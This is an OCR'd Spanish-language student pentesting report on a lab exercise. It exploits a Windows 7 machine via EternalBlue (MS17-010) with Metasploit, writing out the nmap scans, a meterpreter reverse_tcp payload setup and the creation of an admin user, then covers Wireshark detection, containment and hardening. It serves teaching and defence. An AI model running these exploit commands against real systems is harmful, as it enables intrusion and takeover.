los delitos informaticos en Colombia, actuando siempre con la mayor de las éticas
y asi evitar ser engafiados y vernos envueltos en este tipo de situaciones ilegales y
mal intencionadas que tanto dafio le hacen a la sociedad y a un pais.

2.3.  ETAPA 3. ESCANEO DE VULNERABILIDADES EN UN SISTEMA
INFORMATICO A PARTIR DEL USO DE METODOLOGIAS Y TECNICAS
DE INTRUSION

Describa de manera especifica las herramientas software que utilizo para llevar a
cabo el anexo 4 — escenario 3 enfocado a Redteam. Debera adjuntar evidencia de
los comandos utilizados y resultados que arrojé cada herramienta utilizada, estas
herramientas deben estar clasificadas segun los pasos de un pentesting.

Recopilacion, planificacion y preparacion

En esta etapa principal se realizé el reconocimiento del objetivo utilizando la
herramienta NMAP, donde permite identificar las direcciones IPs, escanear los
puertos, y conocer el sistema operativo.

COMANDOS UTILIZADOS:
ip add
sudo nmap -sN 79.87.77.0/24
sudo nmap -T4 -Pn -sC 79.87.77.102
sudo nmap -T4 -Pn -sC 79.87.77.103

25



llustracion 16 Comandos sudo nmap

Nota. Comandos sudo nmap. Fuente propia. 2022
Investigacion y analisis vulnerabilidades

En esta fase se ejecutaron las acciones para identificar las vulnerabilidades del
objetivo con las herramientas NMAP y realizando un analisis detallado de las
vulnerabilidades encontradas consultando las bases de datos de CVE, NIST y

RAPITY

COMANDOS UTILIZADOS:
sudo nmap 79.87.77.102 —script vuln
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llustracion 17 Comando sudo nmap

Nota. Comandos sudo nmap. Fuente propia. 2022
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llustracion 18 Comando sudo nmap

Nota. Comandos sudo nmap. Fuente propia. 2022

llustracion 19 Vulnerabilidad CVE-2017-0143

Gotofor:

Search CVE List Downloads Data Feeds Update a CVE Record Request CVE IDs
TOTAL CVE Records: 185448
NOTICE: Transition to the all-new CVE website at WWW.CVE.ORG is underway and will last up to one year. (details)

NOTICE: Changes coming to CVE Record Format JSON and CVE List Content Downloads in 2022.

CVE-2017-0143

10 Gold, 1511, and
those described in CY

Nota. Descripcidn vulnerabilidad CVE consultada en CVE Database. Fuente propia. 2022
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llustracion 20 Descripciéon CVE-2017-0143

& nvd.nistgov/vuln/detail/CVE-2017-0143

= NVD MENU

Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE NVD

ERABILITIES

AFCVE-2017-0143 Detail

MODIFIED QUICK INFO
This vulnerability has been modified since It was last analyzed by the NVD. It Is awalting reanalysis which may result in further changes to CVE Dictionary Entry:
the Information provided. CVE-2017-0143
NVD Published Date:
N 03/16/2017
Current Description NVD Last Modifled:
The SMBVL server In Microsoft Window: SP2; Windows Server 2008 P2 and R2 5P1; Windows 7 SPL; Windows 8.1; Windows Servel 05/20/2018
Gold and R2; Windows RT 5.1; and Windows 10 Geld, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbltrary source:
code via crafted pac| This vulnerability is different from those described In CVE- Micrasoft Carparation

SMB Remote Code Execution Vulnerability
20170144, CVE-201 VE-2017-0146, and CVE-2017-0148.

Severity

(CVSS 3.x Severity and Metrics:

ﬁ I NIST: NVD Base score: [ENEH| VECIOr: CVSS:3.0/AV:N/AC:H/PRIN/ULN/S:U/C:H/LH/AH

Nota. Descripcion vulnerabilidad CVE consultada en NIST Database. Fuente propia. 2022

llustracion 21- Descripcion MS17-010

rapid/.com/db/7q=M517-0108type=

Sul (- RESEf

Vulnerability & Exploit
Database

Resufts 01 - 05 of 05 in total

MS17-010 Eter l I SME Remote Windows
‘Command Execution MODULE

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
MODULE

MS17-010 EternalBlue SMB Remote Windows Kemel Pool Corruption for Wing+

- MODULE
MS17-010 Eter f I SMB Remote Windows
Code Execution MODULE
MS17-010 SMB RCE Detection

MODULE

Nota. Descripcidn vulnerabilidad ms17-010 consultada en Rapid7. Fuente propia. 2022
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llustracion 22 Descripcién detallada ms17-010

8 rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/

RAPID! PRODUCTS SERVICES SUPPORT & RESOURCES COMPANY RESEARCH

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show

options' or 'show advanced":

1 |mswc > use exploit/windows/smb/ms17_81@_eternalblue

2 msf exploit(ms17_818 eternzlblue) > show targets
...targets...
4 msf exploit(ms17_e1@_eternalblue) > set TARGET < target-id »
5 msf exploit(ms17_818_eternalblue) > show options
...show and set options...

7 msf exploit(ms17_@1@_eternalblue) > exploit
Nota. Descripcion detallada ms17-010 consultada en Rapid7. Fuente propia. 2022

Intento de penetracion y explotacion de vulnerabilidades

En esta fase se realizaron todas las acciones para comprometer el sistema auditado
ejecutando el exploit contra las vulnerabilidades identificadas y evaluadas (CVE-
2017-0143 - smb-vuln-ms17-010). Se utilizaron la herramienta Metasploit que
facilito la explotacion de la vulnerabilidad y el meterpreter para ejecutar el payload
y por ultimo el shell para obtener la informacion del objetivo.

COMANDOS UTILIZADOS
METASPLOIT
mfsconsole
search ms17-010
use exploit/windows/smb/ms17_010_eternablue
show options
set LHOST 79.87.77.104
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 79.87.77.103
run
METERPRETER
sysinfo
ipconfig
shell
cd..
dir
C:\Users\semi>dir
C:\Users\semi>winse20w0.exe

30



llustracion 23 Explotaciéon vulnerabilidades

Nota. Explotacion vulnerabilidad metasploit. Fuente propia. 2022
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llustracion 24 Explotacion vulnerabilidades

Nota. Explotacién vulnerabilidad metasploit. Fuente propia. 2022
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llustracion 25 Explotacion vulnerabilidades

Nota. Explotacién vulnerabilidad metasploit. Fuente propia. 2022
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Post explotacion

En esta fase se escalan privilegios una vez explotadas las vulnerabilidades, se logra
obtener privilegios como administrador del sistema atacado, como también acceso
a las carpetas y archivos. Se crea un usuario con privilegios de administrador.

COMANDOS UTILIZADOS
Shell
cd..
dir
net user /add “Hernan Villamil”

net user
llustracion 26 Comando Shell

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

Nota. Explotacién vulnerabilidad metasploit. Fuente propia. 2022
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Analisis y reporte

En esta fase de analisis y reporte se socializaciéon de resultados ante el cliente
registrando cada una de las acciones registradas realizadas durante el proceso y
se listan las vulnerabilidades encontradas y explotadas, asi como también las
acciones tomadas para solucionar los fallos de seguridad y soluciones a las
vulnerabilidades. Herramientas: Presentacion en Power Point, documentos con
informes gerenciales y técnicos.

INFORMACION CLAVE PARA DESCIFRAR EL FALLO

A continuacion, liste y describa los datos e informacion del anexo 4 — escenario 3
gue le fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca
a la maquina windows 7 X64.

¢ Fuga de informacién de la compafiia detectada el 10 de junio 2022

e Sistemas operativos antiguos Windows 7 *86 y x84

e Sistemas Operativos no se encontraban actualizados, la ultima
actualizacion fue realizada el 05 de febrero 2017.

e Los equipos de computo cuentan con el protocolo SMBv1 vulnerable, de
acuerdo con la informacion de Microsoft.

e Posible vulnerabilidad CVE-2017-0144: Se investiga la vulnerabilidad y esta
hace referencia a la ejecucién remota de cddigo, que permite a un atacante
ejecutar comandos y lanzar diferentes exploits que atacan el protocolo
SMBv1 débil en protecciones de seguridad, permitiendo la entrada de
intrusos con privilegios administrativos, promoviendo ataques de tipo
malware tales como TrickBot, Emotet WannaCry y otros mas.

e Equipos sin la actualizacion MS17-010: Este paquete de actualizacion
soluciona vulnerabilidades criticas para Windows Server de SMBv1 emitidas
el 14 de marzo de 2017 de acuerdo con el boletin de Microsoft.

HERRAMIENTA DE IDENTIFICACION DEL FALLO

¢, Qué herramienta utiliz6 para poder identificar los fallos de seguridad de la
‘maquina Windows 7”? ¢ Qué puerto abre la aplicacién especifica en el anexo?

Para identificar los fallos de seguridad se utilizo la herramienta NMAP, con ella se
realizd un escaneo de puertos y se identificé cuales estaban abiertos, como también
un reconocimiento del sistema operativo y otras caracteristicas de la maquina como
la MAC y nombre del equipo. El puerto que abre la aplicacion es el TCP/445 (STATE
open — SERVICE Microsoft-DS), como lo muestra la imagen al escanear el servidor
objetivo Windows x64 con IP 79.87.77.103. Luego de obtener estos datos iniciales
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se realiz6 un escaneo de vulnerabilidades utilizando uno de los comandos de la
herramienta NMAP (sudo nmap 79.87.77.103 —script vuln) la cual nos arroja como
resultados de las vulnerabilidades encontradas y una breve resefia: smb-vuln-

ms17-010 - IDs CVE-20170143, el factor de riesgo ALTO, Tipo CRITICA, entre
otros datos importantes.

llustracion 27 Fallos de seguridad NMAP

Nota. Identificacion fallos de seguridad Nmap. Fuente propia. 2022
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llustracion 28 Fallos de seguridad NMAP

Nota. Identificacion fallos de seguridad Nmap. Fuente propia. 2022

EXPLICACION DEL ATAQUE

Explique con sus palabras y de manera especifica como afecta el ataque a la
maquina (Windows 7 X64), haga uso de graficos para explicar el ataque.

Aparte de la fuga de informacién que se presenta, la maquina puede verse afectada
si el atacante quiere avanzar mas en sus propositos, y puede promover un malware
tipo emolet para robar todo tipo de informacién o de secuestro de datos tipo
ransomware. Por lo tanto es muy importante acatar las recomendaciones de
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Microsoft de deshabilitar la version de este protocolo SMBv1'#y cerrar el puerto de
tcp/445 a las conexiones provenientes de internet y asi poder disminuir el tipo de
ataques tipo malware que se aprovechan de las vulnerabilidades comprometiendo
la privacidad y seguridad, es por eso la importancia de mantener los sistemas
correctamente actualizados y parchados con la que se aumenta la fiabilidad de los
equipos de coOmputo de cualquier compania.

llustracion 29 Flujo de ataque

FLUJO DE ATAQUE
ATACANTE OBJECTIVO
RUN EXPLOIT windows/fsmbims17_010_efernablue
i
& PAYLOAD windows/x64/meterpreterfeverse tcp ||
\. . ~ - REVERSE CONEXION
g S b ) — =
EJECUCION CODIGO - h
= KALILINUX - =
RED TEAM METERPRETER RUNNIG J WINDOWS X64
1P 79.87.77.104 SHELL | IP:79.87.77.103
Herramientas Fuerto Abierto
TCP/443
METE RETER .
.'ISJEE: FRETE Vulnerabilidad
MS17-010
CVE-2017-0143

Nota. Diagrama flujo de ataque. Fuente propia. 2022

DOCUMENTACION DE LA EXPLOTACION DE LA VULNERABILIDAD

Documente cada uno de los pasos que ejecutd y sus respectivas evidencias para
explotar la vulnerabilidad en la maquina Windows 7.

1. Una vez identificada la vulnerabilidad entramos a la herramienta meterpreter
con el comando mfsconsole y buscamos la vulnerabilidad search ms17-010

2. Se ingresa los parametros del médulo a explotar
exploit/windows/smb/ms17_010_eternablue

3. Se escoge y se carga el payload recomendado por las bases datos con el
comando payload windows/x64/meterpreter/reverse_tcp y se despliega
para establecer una conexién en modo reverse.

4. Se ingresa la direccion IP de host objetivo set RHOSTS 79.87.77.103

14 Protocolo SMBV1. Cémo deshabilitarlo. 2020.Disponible en:
https://www.redeszone.net/tutoriales/servidores/habilitar-deshabilitar-protocolo-smbv1-smbv2-
smbv3-windows/
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llustracion 30 Explotacion vulnerabilidad

Nota. Explotacion vulnerabilidad meterpreter. Fuente propia. 2022

5. El siguiente paso es explotar la vulnerabilidad del servidor objetivo con el
comando exploit o run.
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llustracion 31 Explotacion vulnerabilidad

Nota. Explotacion vulnerabilidad meterpreter. Fuente propia. 2022

6. En consecuencia, la vulnerabilidad fue exitosamente explotada, se observa
gue ya se esta dentro de las carpetas del equipo objetivo, desde aqui se
puede progresar y ganar privilegios en adquirir informacion de sensible a

través del Shell.

llustracion 32 Explotacion vulnerabilidad exitosa

Nota. Explotacion vulnerabilidad meterpreter. Fuente propia. 2022
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llustracion 33 Explotacion vulnerabilidad

Nota. Explotacién vulnerabilidad meterpreter. Fuente propia. 2022

Para darle el mejor manejo al ciberataque en tiempo real el blue team Hackers
Security tiene definido unas guias y mecanismos para reaccionar tempranamente
al incidente:

2.4. ETAPA 4. IDENTIFICACION DE LAS HERRAMIENTAS QUE PERMITEN
CONTENER ATAQUES INFORMATICOS.

Deteccion y analisis del ataque:

En esta fase se analiza el sistema operativo atacado (Windows 7x64) posiblemente
afectado, mediante herramientas propias del sistema y con la instalacion de un
analizador de trafico (Sniffer WIRESHARK ) de licenciamiento GPL, que permite
capturar trafico que circula en la red en tiempo real, descubriendo trafico generado
por el atacante y paquetes sospechosos.

Instalacion herramienta Wireshark:
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llustracién 34 Instalacion Wireshark

Agroement
Plaase review the kense terms before instaing Wireshark 3.6.8 641, ‘

Wireshark s dtriuted under the MU General Publc Lcere.

corsequemaL
DAMAGES (INCLLOING, BUT NOT LIMITED TO, PROCLREMENT OF SLBSTITUTE
150005
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRLPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIASILITY, WHETHER 3N CONTRACT,

LIASILITY, OR TORT (NCLUDING NEGLIGENCE OR OTHERWISE) ARISING I ANY

WA
ouT OF THE USE , EVEN IF ADVISED
SUCH DAMAGE.

‘surpases oy,

e 4 |

BUk@o  SRUGE R omon

Nota. Instalacion Wireshark. Fuente propia. 2022

Visor de eventos del sistema:

Como primera medida se puede revisar la herramienta de auditoria de seguridad
propia del sistema, la cual puede indicar todos los eventos en detalle de la maquina
atacada. A continuacién, se observa la fecha y hora de la creacién de una cuenta
del perfil administrativo, usuario: Hernan Villamil

llustraciéon 35 Auditoria Wireshark

il Visor de eventos STo e
Archivo  Accién  Ver Ayuda
e 2B BE
« de eventos (local) Acciones
Vistas personalizadas -
Pl Fechayhor Ongen 1. del evento | Categriade la trea =] | seguridad 2
g Aplicacion 2 Auditoris corre cta 23/09/202208:4953 pm. Auditoris de sequridad de. 4608 Cambio de estado de seg. 5 Abric registro guardado..
+] Seguridad @ Auditoria correcta 01/10/2022 08:04:14 p.m. Auditoria de sequridad de... 4616 Cambio de estado de seg. ¥ Crear vista pessonalizada.
] nstalacién 4608 Cambio de estado de seg... S —
ls] Sistema 27/06/2020 12:40:30 a.m. Eventiog 1102 Bormade del registre
& e " Ad e a Vaciar registro
[Registros de splicaciones y servicios 25/09/2022 08:2908 p.m. Auditoris de segurided de. 472 Ad ¥ Filtrar registro actual...
Suscripciones Q . 5709/ Auditoria de seguridad de... Ad ] Propiededes
- 88 Buscar.
el Guardar todos los eventos com.
Evento 4720, Auditoria de segundad de Microsoft Windows. x Adjuntat tores & este registro..
Genersl | Detalles Ver »
(Se cre una cuents de usuario. - . G Actualizar
Ayiida »
Nombre de registro:  Seguridad
A Evento 4720, Auditoria de sequnidad ... &
Origen: Registradc: pm. R — .
] Propiedades de evento
1d. del evento: a0 ¢ <
T Adpuntartares 3 ste evento
Nivet: Informacién Palibrasclave:  Auditoria corecta
U Ne disponible Equipo: PC202006 Cople "
jusric: o disponible
5 2 T Guardar eventos seleccionados..
Cédigo de operacion: Informacién
a Acuaiaar
Misinformacién: & jeteo de eventos =
—_— - Ayuda »

0w @]

Nota. Auditoria Wireshark. Fuente propia. 2022
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llustraciéon 36 Auditoria Wireshark

&

T2 Visor de eventos [E=8 E=E =

Archivo | Accion Ver Ayuda

es| 2@ EE

or de eventos (local) Seguridad Nimero de eventos: 766 Acciones
Vistas personalizadas F e I o
Registros de Windows Palabras clave Fechay hora Origen Id. del evento | Categoria dela tarea -~ | jioea
(&) Aplicacion 2, Auditoria correcta 23/09/2022 08:49:53 p.m. Auditoria de sequricad de. 4608 Cambio de estedo de seg & Abiirregistro guardado...
2] seguridad 2, Auditoria correcta 01/10/2022 08:0414 p.m. Auditoria de sequrided de. 4616 Cambio de estado de seg. ¥ Crearvista personalizada..
] Instalacién 2, Auditoria correcta 01/10/2022 03:43:55 p.m. Auditoria de sequrided de. 4608 Cabio de estado de seg. Importarvista personalizads.
] Sistema 2, Auditoria correcta /06/202012:40:30 a.m, Eventlog 1102 Borrado del registro
] Eventos reenviados A, Auditoria correcta 2208:29:.08 p.m. Auditoria de seguridad de. 4728 Administracién de grupos. Vaciar registro...
Registros de aplicaciones y servicios ||| @ Auditoria correcta 2208:29:.08 p.m. Auditoria de seguridad de. 4732 Administracién de grupos. T Filtrar registro actual.
Suscripciones A, Auditoria correcta 25/09/2022 08:29:08 p.m. Auditorfa de seguridad de. 4738 Administracion de cuenta... Propiedades
2, Auditoria correcta 25/00/2022 08:29:08 p.m. Auditoria de sequrided de. 4720 Administracién de cuenta... o s
2, Auditoria correcta 25/00/2022 08:29:08 p.m. Auditorfa de sequridad de. 4722 Administracién de cuenta... =
") | b Guardar [ itos com.
Evento 4722, Auditoria de seguridad de Microsoft Windows. x Adjuntar tarea a este registro.
General | Detalles Ver »
® Vista descriptiva Vista XML G Actualizar
R N H Ayda »
- EventData Evento 4722, Auditoria de seguridad ... 4
TargetUserName Hernan Villamil Propiedades de evento
TargetDomainName PC202006 E T Adjuntartarea a este evento,
TargetSid §-1-5-21-1771133258-498679759-53607625-1003 53 Copiar »
SubjectUserSid  S-1-5-18 [l Guardar eventos seleccionados.
SubjectUserName PC202006$ L 3 Actualizr
< 3 B A »

ofe @[E] S o |

Nota. Auditoria Wireshark. Fuente propia. 2022

Como segunda medida podemos revisar las conexiones establecidas en tiempo real
con la herramienta CMD del sistema y los puertos que se encuentra en escucha con
el comando netstat -ano. En este caso se identifica una conexion establecida a la
maquina objecto del analisis con direccion IP 79.87.77.103 puerto TCP 49158
desde remoto IP 79.87.77.104 puerto TCP 8443, como también se pude identificar
el puerto TCP 445 en estado Listening.

llustracion 37 Conexiones establecidas CDM

&

E® Administrader C:\Windows\system32\cmd.exe EI

C:sUsersSusuariolnetstat _—ano
Conexiones activas

remota Estado
LISTENING
LISTENING
LISTENING
LISTENMING
LISTENMING
LISTENMING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTEMING
104:02447 FeTARLISHED
LISTEMING
LISTEMING
LISTEMING
LISTEMING
LISTEMING
LISTEMING
LISTENMING
LISTEMING
LISTEMING
LISTENMING
LISTENMING
LISTENING

R
L

Direccién local
1

NI EREE

ANEEEEEEEEEREEE
=

Nota. Conexiones establecidas CDM. Fuente propia. 2022
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Como tercera medida se puede utilizar el comando arp -a para verificar la tabla que
almacena la direcciéon MAC y la direccién IP de los equipos que recientemente se
han comunicado con el computador.

llustracion 38 Verificacion comando arp -a

B Administrador: C\Windows\systern32\cmd.exe =R @
C:sUsershusuarioarp —a o

Interfaz: 79.87.77.183 —- Bxb
Direccion de Internet Direccion fisica Tipo
79.87.77.184 BE-AR-27-1f-41-81 dinamico
.87 255 b8 o e o o o estatico
224.0.0.22 B1-08-5e-A0-B@-16 estatico
224.0.0.252 P1-A0-5e-A0-B@—fc estatico
239.255.255.2508 B1-B8-5e-?f-ff-fa estatico

C:sUserssusuario

Nota. Verificacién comando arp -a. Fuente propia. 2022

Como cuarta medida se puede utilizar el comando tasklist para obtener el listado
de procesos en ejecucion, el cual nos puede ser til para identificar los servicios que
el atacante puede estar utilizando en tiempo real. Se puede observar el proceso en
servicio de nombre winse20w0.exe

llustracion 39 Comando tasklist

BEX Administrador: CAWindows\system32\cmd.exe = [=] @

C:NUserssusuario>tasklist

Nombre de imagen

s
Services

Services

Console

Console

Services

lsass.exe Services
lsm.exe s
suchost.exe s
UBoxService. s
suchost.exe s
suchost.exe s
svchost.exe s
-EeXe ]

-EXE s

-EXe s

.exe Services
Services

Services

Services

Console

Console

Console

Console

Services

Services

Services

Services

Console

Console

Services

Services

Services

Console

Services

OO OODOEERE SOOI EREEDRED
T e e B B

LM T T2 e D = D i % =] e B8 AT ) G G NI N0 60 L0 TP S 60 L 0 50 T B0 M L

R h O

Nota. Verificacion comando arp -a. Fuente propia. 2022

44



Como quinta medida de detencion y analisis de mayor utilidad, es el uso de la
herramienta WIRESHARK, previamente instalada para capturar trafico de la red y
del sistema atacado.

El siguiente pantallazo podemos observar paquetes de protocolo SMB usado por el
sistema windows de caracteristica muy sospechas de vulnerabilidad EternalBlue.
Después de un establecimiento de negociacion de conexion (handshake) Tree
Connect Andx Request/Response entre las maquinas ip origen 79.87.77.104 y ip
destino 79.87.77.103 estable un path IPC de tipo ataque donde conecta con el

recurso compartido.
llustracion 40 Verificacion trafico red Wireshark

2 g
i Bl
Archivo  Edicién Vi Analizar  Estadisticas Telefonfa  Wireless Hemramientas  Ayuda
a4 m (c] i es=ZzFIEEaaan
[ Aplique un fiitro de visualiza: =3 -]+
No. Time Destination Protocol  Length Info o
57 16.988846 79.87.77.183 79.87.77.184 SMB 191 Session Setup AndX Response |—
58 16.981142 79.87.77.184 79.87.77.183 TCP 66 38821 » 445 [ACK] Seq=188 Ack=257 Win=64128 Len=8 TSval=3553641823 TSecr=10229 |_‘
59 16.909672 79.8?.77.16& 79.8?.77.19_3 SMB 149 Tree Connect AndX Reguest Path: 79.87.77.1@3\IPC.
60 16.989813 79.87.77.183 79.87.77.184 SMB 124 Tree Connec t AndX Response
61 16.910100 79.87.77.184 79.87.77.183 TcP 66 38821 = 445 [ACK] Seq=262 Ack=315 Win=64128 Len=8 TSval=3553641832 TSecr=10238
62 16.926994 79.87.77.184 79.87.77.163 SMB 115@ NT Trans Request, <unknown>
63 16.927175 79.87.77.183 79.87.77.184 SMB 185 NT Trans Response, <unknown (@a)> -
> Frame 59: 148 bytes on wire (1120 bits), 148 bytes captured (1120 bits) B
> Ethernet II, Src: PcsCompu_1f:41:@1 (@8:00:27:1f:41:01), Dst: PcsCompu_c9:9a:ff (08:00:27:c9:9a:f) E
» Internet Protocol Version 4, Src: 79.87.77.184, Dst: 79.87.77.183 m
> Transmission Control Protocol, Src Port: 38821, Dst Port: 445, Seq: 188, Ack: 257, Len: 74
* NetBIOS Session Service
4 SMB (Server Message Block Protocol)
4 SMB Header il
4d 67 94 85 81 bd 1d 31 @9 3@ 4b e7 4c b6 8@ 18 Mg 1 eK-L
o1 f5 bf 67 @0 90 01 @1 @8 @a d3 de 45 67 @0 @0 g Eg
27 f5 8@ 0@ 8@ 46 ff 53 4d 42 75 0@ 60 @0 60 18 ’ F-S MBu M
@1 60 B0 90 00 00 00 00 ©0 00 00 00 00 e ff ff "
@0 00 00 05 0@ 0@ 04 ff 00 00 00 @3 00 01 00 1b
@@ @8 Sc 5c 37 39 2e 38 37 2e 37 37 2e 31 3@ 33 \\79.8 7.77.1@83
5c 49 50 43 24 e@ 3f 3f 3f 3f 3f ee \IPC3-22? 223 oy
() #  preparado para cargar o capturar Paquetes: 287 - Mostrado: 287 (100.0%) Perfil: Default
2 0 el 4 g -
5 - i
& =l O @ . i)

Nota. Verificacion trafico red Wireshark. Fuente propia. 2022

En el siguiente pantallazo se observa una solicitud NT Trans inicial con un alto
tamafio de carga de secuencia de NOP, que realmente lo que hace es trasladar la
maquina en estado SMB server a un punto donde existe la vulnerabilidad, con el fin
gue el atacante pueda explotarlo con un paquete especialmente disefiado.
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llustracion 41 Analisis trafico de red

T oo e
Archivo  Edicion  Visualizacion Ir Capturs Analizar  Estadisticas Telefonis Wireless Herramientas  Ayuds
Adm2® RERex=zfFiEEaaan
W | Aplique un filtro de visualizacién . <Ctrl-/>
Ne. Time Source Destination Protocol  Length Info
6@ 16.989813 79.87.77.103 79.87.77.104 SMB 124 Tree Connect AndX Respense |7‘
61 16.910168 79.87.77.104 79.87.77.103 TCP 66 38821 - 445 [ACK] Seq=262 Ack=315 Win=64128 Len=8 TSval=3553641832 TSecr=1823@ |
62 16.926994 79.87.77.104 79.87.77.103 SMB 115@ NT Trans Request, <unknown>
63 16.927175 79.87.77.183 79.87.77.104 SMB 185 NT Trans Response, Zunknown (@)> il
4 SMB (Server Message Block Protocel) B

b SMB Header
4 NT Trans Request (@xa@)
Word Count (WCT): 28
Max Setup Count: 1
Reserved: 0860
Total Parameter Count: 3@
Total Data Count: 66512
Max Parameter Count: 38
Max Data Count: @
Parameter Count: 38 2

88 8@ 27 9 9a ff 88 89 27 1f 41 B1 B3 09 45 @0 T TA-E -
84 70 05 96 46 00 40 06 f7 74 4F 57 4d 68 4F 57  -p--@-@ - tOWhOW ml
Mg W

4d 67 94 85 01 bd 1d 31 @9 7a 4b e7 4c fo 80 18 Sl czK-L

81 f5 of 56 0@ @@ 81 81 @8 ea d3 de 45 73 @@ 20 < -Ex

27 f6 @@ @@ @4 38 f 53 4d 42 a@ 00 2@ 00 08 18 S MB-

87 co 88 02 20 00 B0 02 00 B2 22 22 8e 28 80 08 8
@ 7 Total number of data bytes (smb.tdc), 4byte(s) || Paquetes: 287 - Mostrado: 287 (100.0%) || Perfi: Defauit

Nota. Andlisis trafico red Wireshark. Fuente propia. 2022

En el siguiente pantallazo que después de las solicitudes NT Trans conduce a
solicitudes Trans secundary Request que basicamente contiene un formato
incorrecto permitiendo desencadenar la vulnerabilidad, con solitudes de codigo
shell. Aqui se puede identificar si hay carga util cifrada que representa un
lanzamiento de un posible malware a la maquina objeto de analisis.

llustracion 42 Analisis trafico de red

M capturs 1.pcap E=5 Hm =

Archivo Edicién Visualizacién Ir Captura Analizar Estadisticas Telefonia Wireless Herramientas  Ayuda

AW @ U rRes=j5sEEaqaH
[ [Aplioue un fitro de visualizacisn .. <Ctrl/> = -]+
No. Time Source Destination Protocol  Length Info B
64 16.927546 79.87.77.184 79.87.77.183 TP 66 38821 + 445 [ACK] Seq=1346 Ack=354 Win=64128 Len=0 TSval=3553641849 TSec..
65 17.812268 79.87.77.184 79.87.77.183 TP 1514 38821 =+ 445 [ACK] Seq=1346 Ack=354 Win=64128 Len=1448 T5val=3553641934 T.. \_|
66 17.812268 79.87.77.184 79.87.77.183 TCP 1514 38821 -+ 445 [A(K] Seq=2794 Ack=354 Win=64128 Len=1448 TSval=3553641934 T..
67 17.812268 79.87.77.104 79.87.77.183 SMB 1514 Trans2 Secondary Request, FID: 8xB8888 LT(P segment of a reassembled PDU]
68 17.812268 79.87.77.184 79.87.77.183 TCP 1514 38821 + 445 [ACK] Seq=569@ Ack=354 Win=64128 Len=1448 TSval=3553641934 T..
69 17.812268 79.87.77.184 79.87.77.183 TP 1514 38821 » 445 [PSH, ACK] Seq=7138 Ack=354 Win=64128 Len=1443 TSval=355364L.
70 17.812268 79.87.77.184 79.87.77.183 SMB 1514 Trans2 Se:undarz Reguest, FID: @x@080 [TCP segment of a reassembled PDU] I8
> NetBIOS Session Service -

4_SMB (Server Message Block Protocol) -
* SMB Header
4 Trans2 Secondary Request (@x33)
" Word Count (WCT): §
Total Parameter Count: @
Total Data Count: 4096
Parameter Count: ©
Parameter Offset: @
Parameter Displacement: 6
Data Count: 4896
Data Offset: 53
Data Displacement:
9020 00 68 40 00 09 60 00 [LJIEL 00 00 00 00 00 00 00
10 35 60 de @3 60 0G 80 10 60 00 00 00 00 60 00
6 B0 BG B0 60 BG B0 DO 00 0G GO 00 00 00 00 @0

|

76 Z

4[]

Frame (1514bytes) | Reassembled TCP (4153 bytes) |

(O 7 Mumber of data bytes in this buffer (smb.dc), 2 byte(s) || Paquetes: 267 - Mostrado: 287 (100.0%) || Perfi: Defauit

| e
B2 | 0 aldl |

Nota. Andlisis trafico red Wireshark. Fuente propia. 2022
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Acciones de contencién del ataque:

Luego del analisis anterior de deteccion y de la identificacion del modo operandi por
parte del atacante las medidas que se pueden realizar los son la siguientes:

1.
2.

3.

Aislar el segmento de red atacado para evitar comprometer toda la red.
Aislar la maquina atacada de la red, deshabilitando el puerto de la tarjeta de
red.

Bloquear las cuentas de usuario de donde se origino el ataque como
medida temporal y eliminar las cuentas no autorizadas.

Deshabilitar los servicios del sistema o software que el atacante exploto,
identificados con la herramienta wireshark*>.

Se debe rastrear la maquina identificada como origen del ataque de
acuerdo con la informacion del arp y el wireshark para ser bloqueados de
inmediato en capa 2 y capa 3.

Habilitar el firewall de Windows de la maquina

Bloquear los puertos TCP que no sean necesarios que estan en estado
listening

Aislar la maquina afectada de la red para evitar un cifrado de datos y un
mayor escalamiento del atacante.

Garantizar el backup de los datos de la maquina.

INFORME DE ACCIONES DE HARDENIZACION A IMPLEMENTAR PARA
EVITAR QUE SUCEDAN ATAQUES DE SEGURIDAD INFORMATICA.

Cuando se habla de implementacion de hardenizacidén es importante trabajar en las
siguientes mejores practicas y acciones por cada frente:

RED

En este frente con la hardenizacion se busca corregir las vulnerabilidades de
los dispositivos de red, llameasen switches, routers, NAC, etc y asi evitar su
explotacion y los ataques a end-points especificos.

Bloquear los puertos de red innecesarios

Cifrar trafico

Revisar y garantizar que el firewall este correctamente configurado, con sus
reglas auditadas y que se actualicen periédicamente

Eliminar y desactivar protocolos y servicios no utilizados

SERVIDORES
En este frente, con la hardenizacion se busca asegurar los datos,
componentes, funciones, puertos y permisos de un servidor.

15 Wireshark, herramienta deteccion de vulnerabilidades. Disponible en: https://www.wireshark.org/
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Asignar y revisar accesos y cuentas administrativas utilizando el principio
del minimo privilegio

Asegurar que los servidores se encuentren en un centro de datos con todas
las condiciones de seguridad fisicas.

Eliminar software innecesario

APLICACIONES
En este frente, la hardenizacion se centra en el software instalado en la
aplicacion, en los parches y la actualizacion de sus vulnerabilidades.

Establecer controles de acceso a la aplicacion
Automatizar la gestién de parches

Eliminar contrasefas por defecto

Llevar a cabo las mejores practicas de purga de cuentas
Configuracion de politicas de bloqueo de cuentas

BASEDATOS

En este frente, con la hardenizacion se enfoca en reducir las vulnerabilidades
de las bases de datos y del sistema de gestion de las mismas, como también
reforzar los datos depositados y el software utilizado.

Cifrar datos en transito y en reposo

Eliminacién de cuentas no utilizadas

Reforzar contrasefias

Habilitacion de la comprobacion de nodo para el chequeo de usuario

Limitar que pueden hacer uso de la base de datos

SISTEMA OPERATIVO

En este frente, con la hardenizacion se busca asegurar los sistemas
operativos que es el objetivo comun de los ciberataques.

Aplicacioén de actualizaciones automaticas y parches recomendados por el
fabricante

Eliminar archivos innecesarios, controladores y funciones no requeridas
Cifrar el almacenamiento local

Registrar las actividades, errores y alertas correspondientes.

*Por ultimo y lo mas importante trabajar en concientizacion y educacién de los
miembros de las empresas en cuanto a la ciberseguridad y buenas préacticas para
no ser facilmente atacados.
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2.5.

ETAPA 5. SOCIALIZACION DEL INFORME TECNICO

